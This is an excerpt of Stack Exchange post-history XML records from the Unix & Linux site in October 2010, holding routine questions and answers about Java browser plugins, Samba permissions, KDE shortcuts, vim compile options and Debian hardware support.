  <row Id="5919" PostHistoryTypeId="10" PostId="2797" RevisionGUID="892055af-8dda-4ecb-b7cf-5bf0e3d0d4fd" CreationDate="2010-10-06T22:32:28.887" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1327,&quot;DisplayName&quot;:&quot;Stefan&quot;},{&quot;Id&quot;:1941,&quot;DisplayName&quot;:&quot;fschmitt&quot;},{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="5920" PostHistoryTypeId="5" PostId="2797" RevisionGUID="690b90d9-51d5-4aee-b6e6-b1b5906aefa3" CreationDate="2010-10-06T22:32:29.653" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do you choose a distribution?](http://unix.stackexchange.com/questions/1426/how-do-you-choose-a-distribution)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'd like to see a list of all the Linux distros by their mission (like generic, firewall, mail server, free-only, enterprise, virtual machines host, virtual machine guest, audio production, etc.) with basic description and analytics (like first release date, package management system, development activity, people behind the distro (like core team size or, for example &quot;Canonical corporation&quot; for Ubuntu) release cycle description, popularity, etc.). Where can I find such a catalogue?&#xD;&#xA;&#xD;&#xA;I've tried distrowatch.com, but couldn't find any classification there. I'd like to be able, for example, to see &quot;all the distros meant specially for a firewall (or a LAMP server) deployment&quot;, or &quot;all the distros available as LiveCDs&quot; etc." />
  <row Id="5921" PostHistoryTypeId="2" PostId="2832" RevisionGUID="71e257cf-afcf-4d1b-83d8-cbcfacb8bcfd" CreationDate="2010-10-06T23:19:40.037" UserId="1571" Text="How can I set a global shortcut in KDE (4.4) to run a bash script?" />
  <row Id="5922" PostHistoryTypeId="1" PostId="2832" RevisionGUID="71e257cf-afcf-4d1b-83d8-cbcfacb8bcfd" CreationDate="2010-10-06T23:19:40.037" UserId="1571" Text="KDE custom global shortcuts" />
  <row Id="5923" PostHistoryTypeId="3" PostId="2832" RevisionGUID="71e257cf-afcf-4d1b-83d8-cbcfacb8bcfd" CreationDate="2010-10-06T23:19:40.037" UserId="1571" Text="ékdeàékeyboardöshortcutsà" />
  <row Id="5924" PostHistoryTypeId="2" PostId="2833" RevisionGUID="cbb29d84-2eb1-4b5a-872e-2d070303ee7a" CreationDate="2010-10-06T23:48:53.870" UserId="1914" Text="I recently installed debian on an old G4 iMac, and everything is working fine except that the console is constantly spammed with alternating&#xD;&#xA;&#xD;&#xA;    eth0: switching to forced 10bt&#xD;&#xA;    eth0: switching to forced 100bt&#xD;&#xA;&#xD;&#xA;messages.  eth0 isn't configured at all in `/etc/network/interfaces`; I'm using the wireless interface on eth1 (which works fine).  `sudo ifconfig eth0 down` doesn't give any message; the alternating messages just keep coming.  Is there any way to get rid of them?&#xD;&#xA;" />
  <row Id="5925" PostHistoryTypeId="1" PostId="2833" RevisionGUID="cbb29d84-2eb1-4b5a-872e-2d070303ee7a" CreationDate="2010-10-06T23:48:53.870" UserId="1914" Text="PPC Debian: eth0: switching to forced 10bt / 100bt" />
  <row Id="5926" PostHistoryTypeId="3" PostId="2833" RevisionGUID="cbb29d84-2eb1-4b5a-872e-2d070303ee7a" CreationDate="2010-10-06T23:48:53.870" UserId="1914" Text="énetworkingàédebianà" />
  <row Id="5927" PostHistoryTypeId="2" PostId="2834" RevisionGUID="13b530b2-cc50-44fe-b330-c771b27b273b" CreationDate="2010-10-06T23:52:12.677" UserId="1914" Text="I would say that this is generally a bad idea; in almost every case, you want your executables to have the same privileges you have, since you generally want to let the executable do whatever it's designed to do to your files.  For example, if you made your text editor suid to an unprivileged user, you wouldn't be able to edit any text files..." />
  <row Id="5928" PostHistoryTypeId="2" PostId="2835" RevisionGUID="9f259b08-ce56-4051-8427-d10fbb7d2518" CreationDate="2010-10-07T00:23:05.787" UserId="1380" Text="I'm having a really hard time getting the Java browser plugin to install in Ubuntu 10.04. I've tried searching all over the place, but everyone seems to recommend installing the packages that no longer exist in the Ubuntu repositories.&#xD;&#xA;&#xD;&#xA;Several places suggested installing the OpenJDK, which I did. Still doesn't work.&#xD;&#xA;&#xD;&#xA;If you can give me any help at all getting Java plugins to work in either Chrome or Firefox, I'd be most gracious. " />
  <row Id="5929" PostHistoryTypeId="1" PostId="2835" RevisionGUID="9f259b08-ce56-4051-8427-d10fbb7d2518" CreationDate="2010-10-07T00:23:05.787" UserId="1380" Text="Installing Java into Ubuntu 10.04 Firefox/Chrome" />
  <row Id="5930" PostHistoryTypeId="3" PostId="2835" RevisionGUID="9f259b08-ce56-4051-8427-d10fbb7d2518" CreationDate="2010-10-07T00:23:05.787" UserId="1380" Text="éubuntuàéjavaàéchromeàéfirefoxà" />
  <row Id="5931" PostHistoryTypeId="2" PostId="2836" RevisionGUID="900a609f-91b1-45f5-8ca3-011809d56995" CreationDate="2010-10-07T00:33:42.417" UserId="2191" Text="If you are running a desktop on your Ubuntu machine, you should be able to right click on the folder that contains the items you wish to share. Start by right-clicking the folder you want to share, and select Share Folder. If the services required to share files/folders aren’t installed, you’ll be prompted to install them. After clicking Install services they will automatically start to download and install. &#xD;&#xA;&#xD;&#xA;Once that has completed you’ll be presented with an options window. From here you can select the type of sharing (SMB or NFS), give the shared folder a name and decide if you want read-only access to the folder. Click OK when you’re done.&#xD;&#xA;&#xD;&#xA;Now open a terminal in Ubuntu and enter the command:&#xD;&#xA;&#xD;&#xA;    sudo smbpasswd -a username &#xD;&#xA;Samba user should now be added.&#xD;&#xA;&#xD;&#xA;And now other computers&#xD;&#xA;can connect to your shared folder..&#xD;&#xA;" />
  <row Id="5932" PostHistoryTypeId="10" PostId="2737" RevisionGUID="110ad852-bea4-4ae5-9b61-4e88b3dcb256" CreationDate="2010-10-07T03:01:04.790" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:1327,&quot;DisplayName&quot;:&quot;Stefan&quot;},{&quot;Id&quot;:1941,&quot;DisplayName&quot;:&quot;fschmitt&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="5933" PostHistoryTypeId="2" PostId="2837" RevisionGUID="043dbf76-7fc5-4ad0-bbb8-d2c8b0d51a9c" CreationDate="2010-10-07T04:04:07.503" UserId="250" Text="Have you tried installing the package `ubuntu-restricted-extras`? It bundles together several proprietary packages that support MP3, Flash and Java etc., so if you feel OK with proprietary technology then installing it would be the easiest. If you just want Java then open up Synaptic and install Sun's (Oracle's) packages, including the browser plugin.&#xD;&#xA;&#xD;&#xA;If that doesn't work then maybe [my blog post][1] will, basically it involves making symbolic links to the shared objects&#xD;&#xA;&#xD;&#xA;&gt; If you are on a 32 bit operating system: `ln -s /path/to/jre/lib/i386/libnpjp2.so /etc/mozilla/plugins/`  &#xD;&#xA;&gt;If you have gone 64 bit already: `ln -s /path/to/jre/lib/amd64/libnpjp2.so /etc/mozilla/plugins/` (be sure that you downloaded the correct JRE)&#xD;&#xA;&#xD;&#xA;I have been having bad luck with OpenJDK stuff so it would be great to know if someone can make it work too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://phunehehe.isgreat.org/2010/setup-java-browser-plugin-for-linux/" />
  <row Id="5934" PostHistoryTypeId="2" PostId="2838" RevisionGUID="a8f99b14-40ca-4522-a3c8-9b8e0634403f" CreationDate="2010-10-07T04:13:15.980" UserId="1903" Text="Problem may be in file system formatting. Format pen drive with FAT32 file system in windows. After that it'll work properly." />
  <row Id="5935" PostHistoryTypeId="4" PostId="2804" RevisionGUID="f5fe98f9-7c2f-4adb-8af9-b43560346c12" CreationDate="2010-10-07T04:48:20.930" UserId="73" Comment="edited title; edited tags" Text="How are file permissions calculated?" />
  <row Id="5936" PostHistoryTypeId="6" PostId="2804" RevisionGUID="f5fe98f9-7c2f-4adb-8af9-b43560346c12" CreationDate="2010-10-07T04:48:20.930" UserId="73" Comment="edited title; edited tags" Text="épermissionsàéchmodà" />
  <row Id="5937" PostHistoryTypeId="5" PostId="2805" RevisionGUID="b64d2d22-b7d2-4ab6-b5d5-60f0bb6edd7f" CreationDate="2010-10-07T04:53:27.123" UserId="73" Comment="edited body" Text="First of all ... in Linux everything is a file. By everything I mean everything ... your folders, or mouse, or keyboard ... all is a file.&#xD;&#xA;&#xD;&#xA;Now, let's answer your questions:&#xD;&#xA;&#xD;&#xA;1. There are no conflicts between folder and contained file. If you have a folder woth only read rights, but you have a file in that folder with write permissions, you can write to that file. However you can not create/delete files in that folder. So, don't worry about conflicts. Also you can read the contents of the folder (list the folder).&#xD;&#xA;&#xD;&#xA;2. Default permissions usually are 644 (meaning: rw for user, r for group and other)&#xD;&#xA;&#xD;&#xA;3. The &quot;executable&quot; bit for a directory means &quot;listing&quot; the directory. In other words, if you -x a folder, you can't know its content, that means you can't touch something into it." />
  <row Id="5938" PostHistoryTypeId="2" PostId="2839" RevisionGUID="620d2c5a-1389-4945-8a93-f3f5bf3518af" CreationDate="2010-10-07T06:53:00.733" UserId="274" Text="Try unloading the `sungem` kernel module (after `ifconfig eth0 down` to release the interface).&#xD;&#xA;&#xD;&#xA;If that works you can blacklist it to avoid it being loaded on next reboot.&#xD;&#xA;" />
  <row Id="5939" PostHistoryTypeId="5" PostId="2808" RevisionGUID="fbf874c0-9aef-475f-9c84-14171214b32c" CreationDate="2010-10-07T07:03:22.300" UserId="2000" Comment="added 180 characters in body" Text="I recommend you use &quot;xrandr&quot; command for setting up resolution and multiple displays. Currently xorg.conf is on it's way to death, more and more Linux distributions rely on xrandr and they tend to ignore xorg.conf.&#xD;&#xA;&#xD;&#xA;PS: Just to be clear, this means you use xrander to set up different stuff for your display, but you will still use the same X.org server.&#xD;&#xA;&#xD;&#xA;PPS: Ah ... and you use xrandr on the fly, after you have xorg started and you have a graphical interface. Changes are applied immediately, but they are not saved, so if yo screw up something a restart fixes you problem. After you are finished with your setup, just put all the xrandr commands into a file, make it executable, and add it to your DE's startup. &#xD;&#xA;&#xD;&#xA;EDIT (as requested ;) ):  &#xD;&#xA;- xrandr documentation page: &lt;http://www.x.org/wiki/Projects/XRandR&gt;  &#xD;&#xA;- an online version of 'man xrandr': &lt;http://www.manpagez.com/man/1/xrandr/&gt;" />
  <row Id="5941" PostHistoryTypeId="5" PostId="2830" RevisionGUID="75c377fe-ff2e-4660-becb-c58d57c6b716" CreationDate="2010-10-07T07:57:04.710" UserId="1941" Comment="added 154 characters in body" Text="You need to have a kernel with vga_switcheroo enabled and KMS, i.e. kernel mode setting, active (which you haven't as you boot with nomodeset).&#xD;&#xA;&#xD;&#xA;To check if vga_switcheroo is enabled in the kernel, have a look into the Ubuntu config of your kernel. You should find it in /boot with a name along the lines of /boot/config-2.6.35-XX-generic with XX some number corresponding to your kernel.&#xD;&#xA;&#xD;&#xA;If it is not enabled, you find a custom Ubuntu kernel with vga_switcheroo enabled at http://www.ramoonus.nl/2010/08/linux-kernel-2-6-35-installation-guide-for-ubuntu-linux/  " />
  <row Id="5942" PostHistoryTypeId="2" PostId="2840" RevisionGUID="17e46cea-d970-4eee-8a1a-fc909f6b3be3" CreationDate="2010-10-07T08:24:01.723" UserId="1383" Text="If you trust that user so that he has permission to change root password, it should be safe to give him the current root password in the first place." />
  <row Id="5943" PostHistoryTypeId="2" PostId="2841" RevisionGUID="6f3bf33a-3efa-48c9-8174-3eb499296c1b" CreationDate="2010-10-07T09:28:41.860" UserId="1941" Text="First make sure that your script is executable, e.g. like this&#xD;&#xA;&#xD;&#xA;    chmod +x ~/scripts/myscript.sh&#xD;&#xA;&#xD;&#xA;Then create the shortcut using the tool which can be accessed by System Settings &gt; Input Actions. Do a right click in the left pane where existing shortcuts are listed and say New Global Shortcut &gt; Command/URL. Set the name to something sensible, choose your desired shortcut, set the command to your script, e.g. ~/scripts/myscript.sh and tick the Enabled box. If you put your script in a folder in path, (following common conventions one would use /usr/local/bin) you can skip the path in the command and just write myscript.sh." />
  <row Id="5944" PostHistoryTypeId="5" PostId="2818" RevisionGUID="64747616-f2d0-47ac-9e7e-0eef697e41d7" CreationDate="2010-10-07T09:32:05.733" UserId="1941" Comment="added 6 characters in body" Text="The test in feature.h is&#xD;&#xA;&#xD;&#xA;    #if (defined(WIN32) || defined(FEAT_XCLIPBOARD)) &amp;&amp; defined(FEAT_EVAL)&#xD;&#xA;    # define FEAT_CLIENTSERVER&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;so you have to make sure that FEAT_XCLIPBOARD is enabled. This is done here:&#xD;&#xA;&#xD;&#xA;    #if defined(FEAT_NORMAL) &amp;&amp; defined(FEAT_VISUAL) \&#xD;&#xA;            &amp;&amp; (defined(UNIX) || defined(VMS)) \&#xD;&#xA;            &amp;&amp; defined(WANT_X11) &amp;&amp; defined(HAVE_X11)&#xD;&#xA;    # define FEAT_XCLIPBOARD&#xD;&#xA;    # ifndef FEAT_CLIPBOARD&#xD;&#xA;    #  define FEAT_CLIPBOARD&#xD;&#xA;    # endif&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;So it looks as if you miss some X11-devel package." />
  <row Id="5945" PostHistoryTypeId="4" PostId="2381" RevisionGUID="bfb765a3-f197-4666-8e1c-be89d3afdcde" CreationDate="2010-10-07T09:38:26.930" UserId="1941" Comment="fixed spelling (privilaged-&gt;privileged) in heading" Text="How to disable system beep for non-privileged user" />
  <row Id="5946" PostHistoryTypeId="2" PostId="2842" RevisionGUID="97d802cb-d28e-4f6f-91b4-f099fa73c726" CreationDate="2010-10-07T09:39:51.430" UserId="2194" Text="I want to build a Debian server (running samba, postfix, apache - without X11) on a Intel Core i3 / Intel Q57 Chipset system. I'm relativly new to the Linux-World but had driver issues already within my desktop (ATI GPU) that I wasn't able to solve.&#xD;&#xA;&#xD;&#xA;Will the following components work fine with Debian Linux?&#xD;&#xA;&#xD;&#xA; - Intel Core i3-530 2x2.93GHz 4MB VideoHD Sock1156 (Clarkdale) BOX&#xD;&#xA; - Gigabyte GA-Q57M-S2H GL/SATA/R/DVI/HDMI/DP Q57 HD Graphics mATX Sock1156&#xD;&#xA; - Raid: Samsung SpinPoint F3 HD502HJ - 500GB 7200rpm 16MB 3.5zoll SATA300" />
  <row Id="5947" PostHistoryTypeId="1" PostId="2842" RevisionGUID="97d802cb-d28e-4f6f-91b4-f099fa73c726" CreationDate="2010-10-07T09:39:51.430" UserId="2194" Text="Debian server on a Intel Core i3 and Intel Q57 Chipset - will it work?" />
  <row Id="5948" PostHistoryTypeId="3" PostId="2842" RevisionGUID="97d802cb-d28e-4f6f-91b4-f099fa73c726" CreationDate="2010-10-07T09:39:51.430" UserId="2194" Text="élinuxàédebianàéserverà" />
  <row Id="5949" PostHistoryTypeId="2" PostId="2843" RevisionGUID="e15166ff-7594-438a-87b2-9e12e51f86a4" CreationDate="2010-10-07T10:01:00.047" UserId="1941" Text="It's hard to say whether it works without actually testing it. I'd grab the [Live CD][1] matching the version of Debian you want to run and test it. Debian emphasizes stability and therefor normally lags behind when it comes to kernel versions and other applications. That means Debian stable might not work while more up-to-date distributions like e.g. Ubuntu 10.4 LTS server edition or perhaps Debian unstable work better. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://live.debian.net/" />
  <row Id="5950" PostHistoryTypeId="2" PostId="2844" RevisionGUID="5345a029-5656-4a60-af45-79c228349971" CreationDate="2010-10-07T11:27:01.973" UserId="1339" Text="Usually `ubuntu-restricted-extras` should work for you, like phunehehe mentioned.&#xD;&#xA;&#xD;&#xA;Since Ubuntu 10.4 the `sun-java*` packages have moved from the &quot;Multiverse Repository&quot; to the &quot;Partner Repositories&quot;.&#xD;&#xA;&#xD;&#xA;Add the partner repositories to your package sources and you should be able install `sun-java6-jre` and `sun-java6-plugin`.&#xD;&#xA;&#xD;&#xA;See [&quot;Adding Canonical Partner Repositories&quot;][1] int the ubuntu wiki.&#xD;&#xA;&#xD;&#xA;To install Java you will have to decide if you want the OpenJDK or the Sun/Oracle Version. Java by itself is platform independent, but sometimes developers write applications which have dependencies to com.sun.* packages. These packages are only available in the HotSpot VM, which is the virtual machine of the Sun/Oracle Java distribution. To be on the safe side, you should use the Sun/Oracle Java version.&#xD;&#xA;&#xD;&#xA;32-bit is available as package from the partner repository, 64-bit not yet, as far as I know and must be installed by hand:&#xD;&#xA;&#xD;&#xA; - Download your Version (32-bit or&#xD;&#xA;   64-bit) from the [Oracle Download&#xD;&#xA;   Page][2]. &#xD;&#xA; - Create a folder for the&#xD;&#xA;   installation (e.g.: */opt/java/64*)&#xD;&#xA; - Install the .bin file: `sudo&#xD;&#xA;   ./jre-6uxx-linux-x64.bin`&#xD;&#xA; - Don't forget to tell your system about the new java version with `sudo update-alternatives --install &quot;/usr/bin/java&quot; &quot;java&quot; &quot;/opt/java/64/jreXXX/bin/java&quot; 1` and `sudo update-alternatives --set java /opt/java/64/jreXXX/bin/java`&#xD;&#xA;&#xD;&#xA;These are the steps to install a JRE on your system.&#xD;&#xA;&#xD;&#xA;Now you have to install the plugin to the browser:&#xD;&#xA;&#xD;&#xA;**Firefox:**&#xD;&#xA;&#xD;&#xA; - If it doesn't exist, create&#xD;&#xA;   `~/.mozilla/plugins` &#xD;&#xA; - Link the plugin:&#xD;&#xA;   `ln -s&#xD;&#xA;   /opt/java/64/jreXXX/lib/amd64/libnpjp2.so&#xD;&#xA;   ~/.mozilla/plugins/`&#xD;&#xA;&#xD;&#xA;**Chrome:**&#xD;&#xA;&#xD;&#xA; - create `/opt/google/chrome/plugins`&#xD;&#xA; - Link&#xD;&#xA;   `ln -s&#xD;&#xA;   /opt/java/64/jreXXX/lib/amd64/libnpjp2.so&#xD;&#xA;   /opt/google/chrome/plugins`&#xD;&#xA; &#xD;&#xA;  [1]: https://help.ubuntu.com/community/Repositories/Ubuntu#Adding%20Canonical%20Partner%20Repositories&#xD;&#xA;  [2]: http://www.java.com/de/download/linux_manual.jsp" />
  <row Id="5951" PostHistoryTypeId="2" PostId="2845" RevisionGUID="e115309b-c7a1-4c75-bd65-66abbc063c44" CreationDate="2010-10-07T11:29:17.403" UserId="1924" Text="How can I tell linux to sen directly mic to loudspeaker?" />
  <row Id="5952" PostHistoryTypeId="1" PostId="2845" RevisionGUID="e115309b-c7a1-4c75-bd65-66abbc063c44" CreationDate="2010-10-07T11:29:17.403" UserId="1924" Text="Sendindg music directly from MIC to LS" />
  <row Id="5953" PostHistoryTypeId="3" PostId="2845" RevisionGUID="e115309b-c7a1-4c75-bd65-66abbc063c44" CreationDate="2010-10-07T11:29:17.403" UserId="1924" Text="élinuxà" />
  <row Id="5954" PostHistoryTypeId="2" PostId="2846" RevisionGUID="02da4ed1-f636-48ea-87a0-3de53852a11f" CreationDate="2010-10-07T11:32:05.393" UserId="1925" Text="In addition to the other suggestions forwarded, there is a good site out there called [Alternative To][1] that is great for looking up software for other platforms based on some piece of software you know on another platform.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alternativeto.net/" />
  <row Id="5955" PostHistoryTypeId="16" PostId="2846" RevisionGUID="02da4ed1-f636-48ea-87a0-3de53852a11f" CreationDate="2010-10-07T11:32:05.393" UserId="-1" />
  <row Id="5956" PostHistoryTypeId="6" PostId="2845" RevisionGUID="ffa0ed5a-4f20-4787-918f-5e9f1ec662e8" CreationDate="2010-10-07T11:42:39.843" UserId="1339" Comment="edited tags" Text="élinuxàéaudioà" />
  <row Id="5957" PostHistoryTypeId="2" PostId="2847" RevisionGUID="8a8da525-a8b3-4f1b-86dc-fec614a48573" CreationDate="2010-10-07T11:53:55.013" UserId="1339" Text="This depends on your audio system.&#xD;&#xA;&#xD;&#xA;By default, your mic input should be already send to your speaker.&#xD;&#xA;&#xD;&#xA;Please specify your problem a little bit more in detail.&#xD;&#xA;&#xD;&#xA;A common problem is, that you will have to unmute your mic channel.&#xD;&#xA;&#xD;&#xA;The major audio systems for linux since 2.6 is [ALSA][1].&#xD;&#xA;The default mixer application is curses based and can be opened on the terminal with `alsamixer`. Try this, select your channels with the arrow keys and press &lt;kbd&gt;m&lt;/kbd&gt; to unmute them.&#xD;&#xA;&#xD;&#xA;If you are using an older installation, maybe your audio system is [OSS][2]. The default mixing application for this one is `vmix`.&#xD;&#xA;&#xD;&#xA;If you are using some other setup which could include [JACK][3] or [PulseAudio][4], provide us with more details.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alsa-project.org/&#xD;&#xA;  [2]: http://www.opensound.com/linux.html&#xD;&#xA;  [3]: http://jackaudio.org/&#xD;&#xA;  [4]: http://www.pulseaudio.org/" />
  <row Id="5958" PostHistoryTypeId="2" PostId="2848" RevisionGUID="b63db170-4b25-4dbb-95ec-51c491550ff9" CreationDate="2010-10-07T12:02:08.190" UserId="1339" Text="If we mention freshmeat, we should also mention [Sourceforge.net][1] with the slogan:&#xD;&#xA;&#xD;&#xA; *&quot;SourceForge is your location to download and develop free open source software&quot;.*&#xD;&#xA;&#xD;&#xA;Also sometimes [Google Code][2] may be a great source.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sourceforge.net&#xD;&#xA;  [2]: http://code.google.com/" />
  <row Id="5959" PostHistoryTypeId="16" PostId="2848" RevisionGUID="b63db170-4b25-4dbb-95ec-51c491550ff9" CreationDate="2010-10-07T12:02:08.190" UserId="-1" />
  <row Id="5960" PostHistoryTypeId="2" PostId="2849" RevisionGUID="00810e9b-0a37-4927-8a22-d0283758a886" CreationDate="2010-10-07T12:20:23.497" UserId="2175" Text="I recently got my hands on a tablet computer. I tend to at least dual boot my systems. While doing some research about tablet computing and *nix most of the information was from the 2004-2008 era light years ago in computing time. &#xD;&#xA;&#xD;&#xA;What is the current state of tablet computing? I want something that works out of the box with minimal fuss - I'm way past the point that futzing with things is worth the time I spend on it. &#xD;&#xA;&#xD;&#xA;Specifically I'm looking to have features comparable to windows 7 + office: &#xD;&#xA;&#xD;&#xA;* Virtual Keyboard - selectable handwriting / touch keyboard&#xD;&#xA;* OneNote replacement&#xD;&#xA;* Navigation via pen&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What distribution out there has really good tablet support of the box in 2010? &#xD;&#xA;&#xD;&#xA;(also bonus points for fun tablet apps in linux)" />
  <row Id="5961" PostHistoryTypeId="1" PostId="2849" RevisionGUID="00810e9b-0a37-4927-8a22-d0283758a886" CreationDate="2010-10-07T12:20:23.497" UserId="2175" Text="What distrobutions work out of the box with tablet coputers?" />
  <row Id="5962" PostHistoryTypeId="3" PostId="2849" RevisionGUID="00810e9b-0a37-4927-8a22-d0283758a886" CreationDate="2010-10-07T12:20:23.497" UserId="2175" Text="élinuxàéunixàélaptopà" />
  <row Id="5963" PostHistoryTypeId="2" PostId="2850" RevisionGUID="4855655d-54fe-4fb8-9181-2fe097365826" CreationDate="2010-10-07T12:26:25.823" UserId="2197" Text="The samba permision only work on the network client. If you want to enfornce this you need to set the sticky bit on all the directories.&#xD;&#xA;&#xD;&#xA;first correct the files that are there:&#xD;&#xA;&#xD;&#xA;    chown -R archive /home/archive &#xD;&#xA;    chgrp -R archive /home/archive &#xD;&#xA;    find /home/archive -type d -exec chmod 0775 {} \;&#xD;&#xA;    find /home/archive -type f -exec chmod 0664 {} \;&#xD;&#xA;&#xD;&#xA;then enforce this with the group sticky bit&#xD;&#xA;&#xD;&#xA;    find /home/archive -type d -exec chmod g+s {} \;&#xD;&#xA;&#xD;&#xA;This is not infalable but does solve 99% of this sort of problem.&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;DaveF&#xD;&#xA;" />
  <row Id="5964" PostHistoryTypeId="5" PostId="2850" RevisionGUID="e21472be-4399-4b14-a6fd-53252ed9e5cd" CreationDate="2010-10-07T12:39:02.717" UserId="2197" Comment="added 55 characters in body" Text="The samba permissions only work on the SMB (ie Windows) network clients. If you want to enforce this on the server (and any NFS clients) you need to set the sticky bit on all the directories.&#xD;&#xA;&#xD;&#xA;first correct the files that are there:&#xD;&#xA;&#xD;&#xA;    chown -R archive /home/archive &#xD;&#xA;    chgrp -R archive /home/archive &#xD;&#xA;    find /home/archive -type d -exec chmod 0775 {} \;&#xD;&#xA;    find /home/archive -type f -exec chmod 0664 {} \;&#xD;&#xA;&#xD;&#xA;then enforce this with the group sticky bit&#xD;&#xA;&#xD;&#xA;    find /home/archive -type d -exec chmod g+s {} \;&#xD;&#xA;&#xD;&#xA;This is not infalable but does solve 99% of this sort of problem.&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;DaveF&#xD;&#xA;" />
  <row Id="5965" PostHistoryTypeId="5" PostId="2807" RevisionGUID="08fd17bb-553e-4f8d-b2e8-f71523cf17e9" CreationDate="2010-10-07T12:53:34.210" UserId="2045" Comment="updating the post after problem solved" Text="I am trying to compile vim-7.3 will all features enabled. I ran configure with &#xD;&#xA;&#xD;&#xA;    $ ./configure --with-features=huge --enable-gui --enable-cscope&#xD;&#xA;    $ make ; make install&#xD;&#xA;&#xD;&#xA;When I check the version, it shows several features are still not installed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Huge version without GUI.  Features&#xD;&#xA;&gt; included (+) or not (-):&#xD;&#xA;&gt; +arabic +autocmd -balloon_eval **-browse** ++builtin_terms +byte_offset +cindent &#xD;&#xA;&gt; **-clientserver -clipboard** +cmdline_compl +cmdline_hist +cmdline_info +comments &#xD;&#xA;&gt; +conceal +cryptv +cscope +cursorbind +cursorshape +dialog_con +diff +digraphs &#xD;&#xA;&gt; -dnd -ebcdic +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path&#xD;&#xA;&gt; **....**&#xD;&#xA;&#xD;&#xA;Now according to [vimdoc](http://vimdoc.sourceforge.net/htmldoc/various.html#+feature-list) &lt;br/&gt;&#xD;&#xA;&gt; N  *+browse*	&#xD;&#xA;&gt; N  *+clientserver*&#xD;&#xA;&#xD;&#xA;It says &#xD;&#xA;&gt; Thus if a feature is marked with &quot;N&quot;, it is included in the normal, big and huge versions of Vim.&#xD;&#xA;&#xD;&#xA;`features.h` also says&#xD;&#xA;&gt; +huge                all possible features enabled.&#xD;&#xA;&#xD;&#xA;According to the above mentioned two resources, `huge` means all features are enabled. Even if not all, then at least `+clientserver` and `+browse` has to be enabled in `huge` compilation mode. &#xD;&#xA;&#xD;&#xA;But my experience says otherwise. Huge compilation fails to include browse and clientserver feature.&#xD;&#xA;&#xD;&#xA;1- Why is it so? Is my understanding of the document is incorrect?&lt;br/&gt;&#xD;&#xA;2- How to enable clientserver feature?&lt;br/&gt;&#xD;&#xA;3- How to enable gui?&lt;br/&gt;&#xD;&#xA;4- Is it possible to enable **all** features simply? I tired huge as `features.h` suggested it will enable all possible features, but it didn't work.&#xD;&#xA;&#xD;&#xA;Thanks for your time.&#xD;&#xA;&#xD;&#xA;Edit: Problem solved!&#xD;&#xA;=====================&#xD;&#xA;&#xD;&#xA;Thanks to all of you guys for your priceless help.&lt;br/&gt;&#xD;&#xA;I checked, `vim73/src/auto/config.log`, it was clear that lots of dependencies are missing. [Gert](http://unix.stackexchange.com/questions/2807/why-my-vim-7-3-compile-fails-to-include-clientserver/2822#2822) post gave an idea which packages are required. I used:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ yum -yv install libXt.i686 libXt-devel.i686 \&#xD;&#xA;    libXpm.i686 libXpm-devel.i686 \&#xD;&#xA;    libX11.i686 libX11-common.noarch libX11-devel.i686 \&#xD;&#xA;    ghc-cairo-devel.i686  cairo.i686   \&#xD;&#xA;    libgnomeui-devel.i686 \&#xD;&#xA;    ncurses.i686 ncurses-devel.i686  ncurses-libs.i686 ncurses-static.i686 \&#xD;&#xA;    ghc-gtk-devel.i686 gtk+-devel.i686 \&#xD;&#xA;    gtk2.i686  gtk2-devel.i686 \&#xD;&#xA;    atk-devel.i686 atk.i686 \&#xD;&#xA;    libbonoboui.i686 libbonoboui-devel.i686 &#xD;&#xA;&#xD;&#xA;Some of the packages were already installed, others were not. After that:&#xD;&#xA;&#xD;&#xA;    $ ./configure --with-features=huge --enable-cscope --enable-gui=auto&#xD;&#xA;    $ make ; make install&#xD;&#xA;&#xD;&#xA;Now my vim has all the packages associated with `huge`.&#xD;&#xA;&#xD;&#xA;&gt;Huge version with GTK2 GUI.  Features included (+) or not (-): &lt;br/&gt;&#xD;&#xA;&gt;+arabic +autocmd +balloon_eval +browse ++builtin_terms +byte_offset +cindent &lt;br/&gt;&#xD;&#xA;&gt;**+clientserver** +clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments &lt;br/&gt;&#xD;&#xA;&gt;+conceal +cryptv +cscope +cursorbind +cursorshape +dialog_con_gui +diff &lt;br/&gt;&#xD;&#xA;&gt;+digraphs +dnd -ebcdic +emacs_tags +eval +ex_extra +extra_search +farsi&lt;br/&gt;&#xD;&#xA;&gt;**...**&#xD;&#xA;&#xD;&#xA;Thanks " />
